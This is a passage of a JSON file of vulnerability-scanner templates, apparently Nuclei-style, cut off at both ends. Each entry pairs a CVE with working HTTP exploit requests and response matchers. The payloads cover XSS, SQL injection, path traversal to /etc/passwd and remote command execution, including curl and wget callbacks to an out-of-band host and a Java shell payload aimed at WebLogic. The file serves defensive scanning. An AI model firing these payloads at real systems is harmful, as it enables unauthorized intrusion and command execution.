728","info":{"name":"phpPgAdmin <=4.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test"],"matchers-condition":"and","matchers":[{"type":"word","words":["<script>alert(document.domain)</script>","phpPgAdmin"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-0885","info":{"name":"Jira Rainbow.Zen - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-4504","info":{"name":"Joomla! RSfiles <=1.0.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10549","info":{"name":"rConfig <=3.9.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-4463","info":{"name":"IBM Maximo Asset Management Information Disclosure - XML External Entity Injection","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/os/mxperson","{{BaseURL}}/meaweb/os/mxperson"],"body":"<?xml version='1.0' encoding='UTF-8'?>\n<max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>\n  <max:MXPERSONQuery></max:MXPERSONQuery>\n</max:QueryMXPERSON>\n","headers":{"Content-Type":"application/xml"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["QueryMXPERSONResponse","MXPERSONSet"]},{"type":"word","part":"header","words":["application/xml"]}]}]},{"id":"CVE-2020-13927","info":{"name":"Airflow Experimental <1.10.11 - REST API Auth Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/experimental/latest_runs"],"matchers":[{"type":"word","part":"body","words":["\"dag_run_url\":","\"dag_id\":","\"items\":"],"condition":"and"}]}]},{"id":"CVE-2020-11547","info":{"name":"PRTG Network Monitor <20.1.57.1745 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/login.htm?type=probes","{{BaseURL}}/public/login.htm?type=requests","{{BaseURL}}/public/login.htm?type=treestat"],"stop-at-first-match":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"]},{"type":"word","part":"body","words":["prtg_network_monitor","Probes","Groups"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14750","info":{"name":"Oracle WebLogic Server - Remote Command Execution","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /console/css/%252e%252e%252fconsole.portal HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\ncmd: curl {{interactsh-url}}\nContent-Type: application/x-www-form-urlencoded\n\n_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\nweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\njava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\nfield.setAccessible(true);\nObject obj = field.get(adapter);\nweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\nString cmd = req.getHeader(\"cmd\");\nString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\nif (cmd != null) {\n    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\n    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\n    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\n    res.getServletOutputStream().flush();\n    res.getWriter().write(\"\");\n}executeThread.interrupt();\n\");\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"header","words":["ADMINCONSOLESESSION="]},{"type":"regex","part":"body","regex":["<html><head></head><body>(.*)</body></html>"]}]}]},{"id":"CVE-2020-8644","info":{"name":"playSMS <1.4.3 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\n","POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nX-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["4468-0202-EVC"]},{"type":"status","status":[200]}],"extractors":[{"type":"xpath","name":"csrf","internal":true,"xpath":["/html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input"],"attribute":"value","part":"body"}]}]},{"id":"CVE-2020-13379","info":{"name":"Grafana 3.0.1-7.0.1 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["cloudflare.com","dns"],"condition":"and"},{"type":"word","part":"header","words":["image/jpeg"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2103","info":{"name":"Jenkins <=2.218 - Information Disclosure","severity":"medium"},"requests":[{"raw":["GET {{BaseURL}}/whoAmI/ HTTP/1.1\nHost: {{Hostname}}\n","GET {{BaseURL}}/whoAmI/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html","x-jenkins"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"body_2","words":["Cookie","SessionId: null"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","kval":["x_jenkins"]}]}]},{"id":"CVE-2020-8982","info":{"name":"Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-12054","info":{"name":"WordPress Catch Breadcrumb <1.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(123);>","catch-breadcrumb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28208","info":{"name":"Rocket.Chat <3.9.1 - Information Disclosure","severity":"medium"},"requests":[{"raw":["POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/json\n\n{\"message\":\"{\\\"msg\\\":\\\"method\\\",\\\"method\\\":\\\"sendForgotPasswordEmail\\\",\\\"params\\\":[\\\"user@local.email\\\"],\\\"id\\\":\\\"3\\\"}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"result\\\":false","\"success\":true"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-12800","info":{"name":"WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601\nX-Requested-With: XMLHttpRequest\n\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"supported_type\"\n\ntxt%\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"size_limit\"\n\n5242880\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"action\"\n\ndnd_codedropz_upload\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"type\"\n\nclick\n-----------------------------350278735926454076983690555601\nContent-Disposition: form-data; name=\"upload-file\"; filename=\"{{randstr}}.txt%\"\nContent-Type: application/x-httpd-php\n\nCVE-2020-12800-{{randstr}}\n-----------------------------350278735926454076983690555601--\n","GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["CVE-2020-12800-{{randstr}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-26919","info":{"name":"NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /login.htm HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n\nsubmitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-7209","info":{"name":"LinuxKI Toolset <= 6.01 - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-17526","info":{"name":"Apache Airflow <1.10.14 - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /admin/ HTTP/1.1\nHost: {{Hostname}}\n","GET /admin/ HTTP/1.1\nHost: {{Hostname}}\nCookie: session=.eJwlzUEOwiAQRuG7zLoLpgMM9DIE6D-xqdEEdGW8u03cvy_vQ8UG5o02q_eJhcqx00YdDaKao6p5ZZe89ZyFUaPExqCF-hxWXs8Tj6tXt_rGnKpxC6vviTNiELBxErerBBZk9Zd7T4z_hOn7A0cWI94.YwJ5bw.LzJjDflCTQE2BfJ7kXcsOi49vvY\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, 'Redirecting...')","status_code_1 == 302"],"condition":"and"},{"type":"word","part":"body_2","words":["DAG","Recent Tasks","Users","SLA Misses","Task Instances"],"condition":"and"}]}]},{"id":"CVE-2020-15050","info":{"name":"Suprema BioStar <2.8.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../../../../../windows/win.ini"],"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2020-10548","info":{"name":"rConfig 3.9.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24312","info":{"name":"WordPress Plugin File Manager (wp-file-manager) Backup Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/uploads/wp-file-manager-pro/fm_backup/"],"matchers-condition":"and","matchers":[{"type":"word","words":["Index of","wp-content/uploads/wp-file-manager-pro/fm_backup","backup_"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5902","info":{"name":"F5 BIG-IP TMUI - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd","{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release","{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license","{{BaseURL}}/hsqldb%0a"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:","BIG-IP release ([\\d.]+)","[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}","HSQL Database Engine Servlet"],"condition":"or"},{"type":"status","status":[200]}]},{"raw":["POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1\nHost: {{Hostname}}\n\ncommand=create%20cli%20alias%20private%20list%20command%20bash\n","POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1\nHost: {{Hostname}}\n\nfileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d\n","POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1\nHost: {{Hostname}}\n\ncommand=list%20%2Ftmp%2Fnonexistent\n","POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1\nHost: {{Hostname}}\n\ncommand=delete%20cli%20alias%20private%20list\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["h3ll0_w0Rld"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14882","info":{"name":"Oracle Weblogic Server - Remote Command Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["ADMINCONSOLESESSION"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-20982","info":{"name":"shadoweb wdja v1.5.1 - Cross-Site Scripting","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["location.href='</script><script>alert(document.domain)</script>"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22209","info":{"name":"74cms - ajax_common.php SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_common.php?act=hotword&query=aa%\u9326%27%20union%20select%201,md5({{num}}),3%23%27"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-5775","info":{"name":"Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-19283","info":{"name":"Jeesns 1.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15505","info":{"name":"MobileIron Core & Connector <= v10.6 & Sentry <= v9.8 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /mifs/.;/services/LogService HTTP/1.1\nHost: {{Hostname}}\nReferer: https://{{Hostname}}\nContent-Type: x-application/hessian\nConnection: close\n\n{{hex_decode('630200480004')}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/x-hessian"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-29395","info":{"name":"Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(1)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-1956","info":{"name":"Apache Kylin 3.0.1 - Command Injection Vulnerability","severity":"high"},"requests":[{"raw":["POST /kylin/api/user/authentication HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64('{{username}}:' + '{{password}}')}}\n","POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2020-12447","info":{"name":"Onkyo TX-NR585 Web Interface - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-16139","info":{"name":"Cisco Unified IP Conference Station 7937G - Denial-of-Service","severity":"high"},"requests":[{"raw":["POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/xml"]},{"type":"word","words":["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10199","info":{"name":"Sonatype Nexus Repository Manager 3 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /service/rapture/session HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{base64(username)}}&password={{base64(password)}}\n","POST /service/rest/beta/repositories/bower/group HTTP/1.1\nHost: {{Hostname}}\nNX-ANTI-CSRF-TOKEN: 1\nCookie: NX-ANTI-CSRF-TOKEN=1\nContent-Type: application/json\n\n{\"name\": \"internal\", \"online\": \"true\", \"storage\": {\"blobStoreName\": \"default\", \"strictContentTypeValidation\": \"true\"}, \"group\": {\"memberNames\": [\"$\\\\A{3*3333}\"]}}\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Member repository does not exist: A9999"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2020-28188","info":{"name":"TerraMaster TOS - Unauthenticated Remote Command Execution","severity":"critical"},"requests":[{"raw":["GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1\nHost: {{Hostname}}\n","GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2020-5284","info":{"name":"Next.js <9.3.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/_next/static/../server/pages-manifest.json"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["\\{\"/_app\":\".*?_app\\.js\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11450","info":{"name":"MicroStrategy Web 10.4 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/MicroStrategyWS/happyaxis.jsp"],"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Axis2 Happiness Page","Examining webapp configuration","Essential Components"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2036","info":{"name":"Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E","{{BaseURL}}/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(1)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-20285","info":{"name":"ZZcms - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /user/login.php HTTP/1.1\nHost: {{Hostname}}\nReferer: xss\"/><img src=\"#\" onerror=\"alert(document.domain)\"/>\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["fromurl\" type=\"hidden\" value=\"xss\"/><img src=\"#\" onerror=\"alert(document.domain)\"/>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11110","info":{"name":"Grafana <= 6.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/snapshots HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nReferer: {{BaseURL}}\ncontent-type: application/json\nConnection: close\n\n{\"dashboard\":{\"annotations\":{\"list\":[{\"name\":\"Annotations & Alerts\",\"enable\":true,\"iconColor\":\"rgba(0, 211, 255, 1)\",\"type\":\"dashboard\",\"builtIn\":1,\"hide\":true}]},\"editable\":true,\"gnetId\":null,\"graphTooltip\":0,\"id\":null,\"links\":[],\"panels\":[],\"schemaVersion\":18,\"snapshot\":{\"originalUrl\":\"javascript:alert('Revers3c')\",\"timestamp\":\"2020-03-30T01:24:44.529Z\"},\"style\":\"dark\",\"tags\":[],\"templating\":{\"list\":[]},\"time\":{\"from\":null,\"to\":\"2020-03-30T01:24:53.549Z\",\"raw\":{\"from\":\"6h\",\"to\":\"now\"}},\"timepicker\":{\"refresh_intervals\":[\"5s\",\"10s\",\"30s\",\"1m\",\"5m\",\"15m\",\"30m\",\"1h\",\"2h\",\"1d\"],\"time_options\":[\"5m\",\"15m\",\"1h\",\"6h\",\"12h\",\"24h\",\"2d\",\"7d\",\"30d\"]},\"timezone\":\"\",\"title\":\"Dashboard\",\"uid\":null,\"version\":0},\"name\":\"Dashboard\",\"expires\":0}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["\"deleteKey\":","\"deleteUrl\":"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"url\":\"([a-z:/0-9A-Z]+)\""],"part":"body"}]}]},{"id":"CVE-2020-0618","info":{"name":"Microsoft SQL Server Reporting Services - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["view report"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17463","info":{"name":"Fuel CMS 1.4.7 - SQL Injection","severity":"high"},"requests":[{"raw":["GET /fuel/login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /fuel/login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}\n\nuser_name={{username}}&password={{password}}&Login=Login&forward=\n","@timeout: 10s\nGET /fuel/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nReferer: {{RootURL}}\n"],"payloads":{"username":["admin"],"password":["admin"]},"attack":"pitchfork","cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_3 == 200","contains(body_1, \"FUEL CMS\")"],"condition":"and"}]}]},{"id":"CVE-2020-35489","info":{"name":"WordPress Contact Form 7 - Unrestricted File Upload","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/contact-form-7/readme.txt"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 5.3.2')"]},{"type":"word","part":"body","words":["Contact Form 7","== Changelog =="],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"],"internal":true},{"type":"regex","group":1,"regex":["(?m)Stable tag: ([0-9.]+)"]}]}]},{"id":"CVE-2020-13167","info":{"name":"Netsweeper <=6.4.3 - Python Code Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5","{{BaseURL}}/webadmin/out"],"headers":{"Referer":"{{BaseURL}}/webadmin/admin/service_manager_data.php"},"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{rand_str}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-1943","info":{"name":"Apache OFBiz <=16.11.07 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/control/stream?contentId=%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<svg/onload=alert(/xss/)>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35713","info":{"name":"Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /goform/setSysAdm HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/login.shtml\n\nadmuser=admin&admpass=;wget http://{{interactsh-url}};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-11978","info":{"name":"Apache Airflow <=1.10.10 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /api/experimental/test HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"conf\": {\"message\": \"\\\"; touch test #\"}}\n","GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_4, \"operator\":\"BashOperator\")","contains(header_4, \"application/json\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"exec_date","group":1,"regex":["\"execution_date\":\"([0-9-A-Z:+]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-5777","info":{"name":"Magento Mass Importer  <0.7.24 - Remote Auth Bypass","severity":"critical"},"requests":[{"raw":["GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Too many connections"]},{"type":"status","status":[503]}]}]},{"id":"CVE-2020-15568","info":{"name":"TerraMaster TOS <.1.29 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","GET /include/{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5410","info":{"name":"Spring Cloud Config Server - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8497","info":{"name":"Artica Pandora FMS 